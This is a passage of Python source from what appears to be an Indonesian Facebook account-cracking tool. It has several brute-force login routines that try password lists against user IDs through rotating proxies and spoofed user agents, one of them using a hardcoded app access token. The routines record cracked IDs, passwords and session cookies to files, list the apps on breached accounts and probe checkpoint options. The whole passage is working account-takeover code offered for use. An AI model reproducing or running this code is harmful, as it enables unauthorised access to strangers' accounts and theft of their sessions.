t%3D1677419913361%26e2e%3D%257B%2522init%2522%253A1677419913361%257D%26ies%3D1%26sdk%3Dandroid-14.1.1%26sso%3Dchrome_custom_tab%26nonce%3D063978e3-28aa-4a0f-bbc6-9272a9973fcb%26scope%3Duser_birthday%252Copenid%252Cpublic_profile%252Cuser_gender%252Cuser_friends%252Cemail%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D%26code_challenge_method%3DS256%26default_audience%3Dfriends%26login_behavior%3DNATIVE_WITH_FALLBACK%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.starmakerinteractive.starmaker%26auth_type%3Drerequest%26response_type%3Did_token%252Ctoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26code_challenge%3DP1LSLToQntEH2uBpWwB7VQimlXskVC9z-rHLt8TMxh0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D81b4243d-16d4-4293-aa47-6359abf5abdd%26tp%3Dunspecified&refsrc=deprecated&app_id=213560439114&cancel=fbconnect%3A%2F%2Fcct.com.starmakerinteractive.starmaker%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252281b4243d-16d4-4293-aa47-6359abf5abdd%2522%252C%25223_method%2522%253A%2522custom_tab%2522%252C%25227_challenge%2522%253A%2522lgg1tdnv3jjnt4houtbf%2522%257D&lwv=100&locale2=id_ID&refid=9"])
  988.             po = ses.post(link,data=data,headers=headers,allow_redirects=False)
  989.             if "checkpoint" in po.cookies.get_dict().keys():
  990.                 print('╭────────────────────────────╮')
  991.                 if 'no' in gabriel:
  992.                     cp+=1
  993.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  994.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  995.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  996.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  997.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  998.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  999.                     print('╰────────────────────────────╯')
  1000.                     cetak(tree)
  1001.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1002.                     akun.append(idf+'|'+pw)
  1003.                     break
  1004.                 elif 'ya' in gabriel:
  1005.                     cp+=1
  1006.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  1007.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  1008.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  1009.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  1010.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  1011.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  1012.                     cetak(tree)
  1013.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1014.                     akun.append(idf+'|'+pw)
  1015.                     ceker(idf,pw)
  1016.                     break
  1017.             elif "c_user" in ses.cookies.get_dict().keys():
  1018.                 if 'no' in taplikasi:
  1019.                     ok+=1
  1020.                     coki=po.cookies.get_dict()
  1021.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1022.                     print('╭────────────────────────────╮')
  1023.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1024.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1025.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1026.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1027.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1028.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1029.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1030.                     print('╰────────────────────────────╯')
  1031.                     cetak(tree)  
  1032.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1033.                     break
  1034.                 elif 'ya' in taplikasi:
  1035.                     ok+=1
  1036.                     coki=po.cookies.get_dict()
  1037.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1038.                     print('╭────────────────────────────╮')
  1039.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1040.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1041.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1042.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1043.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1044.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1045.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1046.                     print('╰────────────────────────────╯')
  1047.                     cetak(tree)
  1048.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1049.                     cek_apk(kuki)
  1050.                     break      
  1051.                
  1052.             else:
  1053.                 continue
  1054.         except requests.exceptions.ConnectionError:
  1055.             time.sleep(31)
  1056.     loop+=1
  1057.    
  1058. #--------------------[ METODE MOBILE ]-----------------#
  1059. def crackmobile(idf,pwv):
  1060.     global loop,ok,cp
  1061.     bo = random.choice([m,k,h,b,u,x])
  1062.     ua = random.choice(ugen)
  1063.     ua2 = random.choice(ugen2)
  1064.     ses = requests.Session()
  1065.     prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  1066.     prog.advance(des)
  1067.     for pw in pwv:
  1068.         try:
  1069.             if 'ya' in ualuh: ua = ualu[0]
  1070.             nip=random.choice(prox)
  1071.             proxs= {'http': 'socks5://'+nip}
  1072.             ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
  1073.             p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
  1074.             dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,}
  1075.             koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
  1076.             koki+=' m_pixel_ratio=2.625; wd=412x756'
  1077.             heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
  1078.             po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False)
  1079.             if "checkpoint" in po.cookies.get_dict().keys():
  1080.                 print('╭────────────────────────────╮')
  1081.                 if 'no' in gabriel:
  1082.                     cp+=1
  1083.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  1084.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  1085.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  1086.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  1087.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  1088.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  1089.                     print('╰────────────────────────────╯')
  1090.                     cetak(tree)
  1091.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1092.                     akun.append(idf+'|'+pw)
  1093.                     break
  1094.                 elif 'ya' in gabriel:
  1095.                     cp+=1
  1096.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  1097.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  1098.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  1099.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  1100.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  1101.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  1102.                     cetak(tree)
  1103.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1104.                     akun.append(idf+'|'+pw)
  1105.                     ceker(idf,pw)
  1106.                     break
  1107.             elif "c_user" in ses.cookies.get_dict().keys():
  1108.                 if 'no' in taplikasi:
  1109.                     ok+=1
  1110.                     coki=po.cookies.get_dict()
  1111.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1112.                     print('╭────────────────────────────╮')
  1113.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1114.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1115.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1116.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1117.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1118.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1119.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1120.                     print('╰────────────────────────────╯')
  1121.                     cetak(tree)  
  1122.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1123.                     break
  1124.                 elif 'ya' in taplikasi:
  1125.                     ok+=1
  1126.                     coki=po.cookies.get_dict()
  1127.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1128.                     print('╭────────────────────────────╮')
  1129.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1130.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1131.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1132.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1133.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1134.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1135.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1136.                     print('╰────────────────────────────╯')
  1137.                     cetak(tree)
  1138.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1139.                     cek_apk(kuki)
  1140.                     break      
  1141.                
  1142.             else:
  1143.                 continue
  1144.         except requests.exceptions.ConnectionError:
  1145.             time.sleep(31)
  1146.     loop+=1
  1147.    
  1148. #--------------------[ METODE B-API ]-----------------#
  1149. def crackfree(idf,pwv):
  1150.     global loop,ok,cp
  1151.     bo = random.choice([m,k,h,b,u,x])
  1152.     ua = random.choice(ugen)
  1153.     ua2 = random.choice(ugen2)
  1154.     ses = requests.Session()
  1155.     prog.update(des,description=f"{h}SPOKY XD 🤖 {x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold red]{cp}[/]")
  1156.     prog.advance(des)
  1157.     for pw in pwv:
  1158.         try:
  1159.             nip=random.choice(prox)
  1160.             proxs= {'http': 'socks5://'+nip}
  1161.             params = {
  1162.                 "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
  1163.                 "sdk_version": {random.randint(1,26)},
  1164.                 "email": idf,
  1165.                 "locale": "en_US",
  1166.                 "password": pw,
  1167.                 "sdk": "android",
  1168.                 "generate_session_cookies": "1",
  1169.                 "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
  1170.             }
  1171.             headers = {
  1172.                 "Host": "graph.facebook.com",
  1173.                 "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
  1174.                 "x-fb-sim-hni": str(random.randint(20000, 40000)),
  1175.                 "x-fb-net-hni": str(random.randint(20000, 40000)),
  1176.                 "x-fb-connection-quality": "EXCELLENT",
  1177.                 "user-agent": ua,
  1178.                 "content-type": "application/x-www-form-urlencoded",
  1179.                 "x-fb-http-engine": "Liger"
  1180.             }
  1181.             post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
  1182.             if "User must verify their account" in post.text:
  1183.                 print('╭────────────────────────────╮')
  1184.                 if 'no' in gabriel:
  1185.                     cp+=1
  1186.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  1187.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  1188.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  1189.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  1190.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  1191.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  1192.                     print('╰────────────────────────────╯')
  1193.                     cetak(tree)
  1194.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1195.                     akun.append(idf+'|'+pw)
  1196.                     break
  1197.                 elif 'ya' in gabriel:
  1198.                     cp+=1
  1199.                     tree = Tree(f"[bold red] CECKPOINT 🥴 ")
  1200.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] ID : [bold red]{idf} [bold purple][[bold red]•[bold purple]][bold purple] PASSWORD : [bold red]{pw}")
  1201.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TAHUN : [bold red]{cektahun(idf)}")
  1202.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] TEMAN : [bold red]+")
  1203.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] POST  : [bold red]+ ")
  1204.                     tree.add(f"[bold purple][[bold red]•[bold purple]] [bold purple] UGENT : [bold red]{ua}")
  1205.                     cetak(tree)
  1206.                     open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1207.                     akun.append(idf+'|'+pw)
  1208.                     ceker(idf,pw)
  1209.                     break
  1210.             elif "c_user" in ses.cookies.get_dict().keys():
  1211.                 if 'no' in taplikasi:
  1212.                     ok+=1
  1213.                     coki=po.cookies.get_dict()
  1214.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1215.                     print('╭────────────────────────────╮')
  1216.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1217.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1218.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1219.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1220.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1221.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1222.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1223.                     print('╰────────────────────────────╯')
  1224.                     cetak(tree)  
  1225.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1226.                     break
  1227.                 elif 'ya' in taplikasi:
  1228.                     ok+=1
  1229.                     coki=po.cookies.get_dict()
  1230.                     kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
  1231.                     print('╭────────────────────────────╮')
  1232.                     tree = Tree(f"[bold green] SUCKSES 🧐 ")
  1233.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] ID : [bold green]{idf} [bold purple][[bold green]•[bold purple]] [bold purple] PASSWORD : [bold green]{pw}")
  1234.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TAHUN : [bold green]{cektahun(idf)}")
  1235.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] TEMAN : [bold green]+")
  1236.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] POST  : [bold green]+")
  1237.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] COOKIES : [bold green]{kuki}")
  1238.                     tree.add(f"[bold purple][[bold green]•[bold purple]] [bold purple] UGENT : [bold green]{ua}")
  1239.                     print('╰────────────────────────────╯')
  1240.                     cetak(tree)
  1241.                     open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
  1242.                     cek_apk(kuki)
  1243.                     break      
  1244.                
  1245.             else:
  1246.                 continue
  1247.         except requests.exceptions.ConnectionError:
  1248.             time.sleep(31)
  1249.     loop+=1
  1250.    
  1251. #-----------------------[ CEK APLIKASI ]--------------------#
  1252. def cek_apk(kuki):
  1253.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":cookie}).text
  1254.     sop = BeautifulSoup(w,"html.parser")
  1255.     x = sop.find("form",method="post")
  1256.     game = [i.text for i in x.find_all("h3")]
  1257.     if len(game)==0:
  1258.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi aktif di akun ini.")
  1259.     else:
  1260.         for i in range(len(game)):
  1261.             print("   %s%s. %s%s"%(H,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N))
  1262.     w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":cookie}).text
  1263.     sop = BeautifulSoup(w,"html.parser")
  1264.     x = sop.find("form",method="post")
  1265.     game = [i.text for i in x.find_all("h3")]
  1266.     if len(game)==0:
  1267.         print(f"\n {N}[{M}!{N}] opshh tidak ada aplikasi kadaluarsa di akun ini.")
  1268.     else:
  1269.         for i in range(len(game)):
  1270.             print("   %s%s. %s%s"%(K,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N))
  1271.            
  1272. #--------------------------[ CHECK-OPSI-CHEKPOINT ]----------------#
  1273. def ceker(idf,pw):
  1274.     global cp
  1275.     ua = 'Mozilla/5.0 (Linux; Android 11; 11; HD1913)W559Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4247.138 Mobile Safari/537.36'
  1276.     head = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1277.     ses = requests.Session()
  1278.     try:
  1279.         hi = ses.get('https://mbasic.facebook.com')
  1280.         ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':idf,'pass':pw,'login':'submit'}, headers=head, allow_redirects=True).text,'html.parser')
  1281.         jo = ho.find('form')
  1282.         data = {}
  1283.         lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1284.         for anj in jo('input'):
  1285.             if anj.get('name') in lion:
  1286.                 data.update({anj.get('name'):anj.get('value')})
  1287.         kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=head).text,'html.parser')
  1288.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1289.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1290.         cp+=1
  1291.         opsi = kent.find_all('option')
  1292.         if len(opsi)==0:
  1293.             print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1294.         else:
  1295.             for opsii in opsi:
  1296.                 print('\r%s---> %s%s'%(kk,opsii.text,x))
  1297.     except Exception as c:
  1298.         print('\r%s++++ %s|%s ----> CP       %s'%(b,idf,pw,x))
  1299.         print('\r%s---> Tidak Dapat Mengecek Opsi (Cek Login Di Lite/Mbasic)%s'%(u,x))
  1300.         open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
  1301.         cp+=1
  1302. #--------------------------[ CHECK-OPSI-CHEKPOINT-2 ]----------------#
  1303. def cek_opsi():
  1304.     c = len(akun)
  1305.     hu = 'Terdapat %s Akun Untuk Dicek\nSebelum Mulai, Mode Pesawat/Ubah Kartu Sim Terlebih Dahulu'%(c)
  1306.     cetak(nel(hu, title='CEK OPSI'))
  1307.     input(x+'['+h+'•'+x+'] Mulai')
  1308.     cek = '# PROSES CEK OPSI DIMULAI'
  1309.     sol().print(mark(cek, style='green'))
  1310.     love = 0
  1311.     for kes in akun:
  1312.         try:
  1313.             try:
  1314.                 id,pw = kes.split('|')[0],kes.split('|')[1]
  1315.             except IndexError:
  1316.                 time.sleep(2)
  1317.                 print('\r%s++++ %s ----> Error      %s'%(b,kes,x))
  1318.                 print('\r%s---> Pemisah Tidak Didukung Untuk Program Ini%s'%(u,x))
  1319.                 continue
  1320.             bi = random.choice([u,k,kk,b,h,hh])
  1321.             print('\r%s---> %s/%s ---> { %s }%s'%(bi,love,len(akun),id,x), end=' ');sys.stdout.flush()
  1322.             ua = 'Mozilla/5.0 (Linux; Android 11; HD1913)W559Y) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/85.0.4247.138 Mobile Safari/537.36'
  1323.             ses = requests.Session()
  1324.             header = {"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": "https://mbasic.facebook.com","content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}
  1325.             hi = ses.get('https://mbasic.facebook.com')
  1326.             ho = sop(ses.post('https://mbasic.facebook.com/login.php', data={'email':id,'pass':pw,'login':'submit'}, headers=header, allow_redirects=True).text,'html.parser')
  1327.             if "checkpoint" in ses.cookies.get_dict().keys():
  1328.                 try:
  1329.                     jo = ho.find('form')
  1330.                     data = {}
  1331.                     lion = ['nh','jazoest','fb_dtsg','submit[Continue]','checkpoint_data']
  1332.                     for anj in jo('input'):
  1333.                         if anj.get('name') in lion:
  1334.                             data.update({anj.get('name'):anj.get('value')})
  1335.                     kent = sop(ses.post('https://mbasic.facebook.com'+str(jo['action']), data=data, headers=header).text,'html.parser')
  1336.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1337.                     opsi = kent.find_all('option')
  1338.                     if len(opsi)==0:
  1339.                         print('\r%s---> Tap Yes / A2F (Cek Login Di Lite/Mbasic%s)'%(hh,x))
  1340.                     else:
  1341.                         for opsii in opsi:
  1342.                             print('\r%s---> %s%s'%(kk,opsii.text,x))
  1343.                 except:
  1344.                     print('\r%s++++ %s|%s ----> CP       %s'%(b,id,pw,x))
  1345.                     print('\r%s---> Tidak Dapat Mengecek Opsi%s'%(u,x))
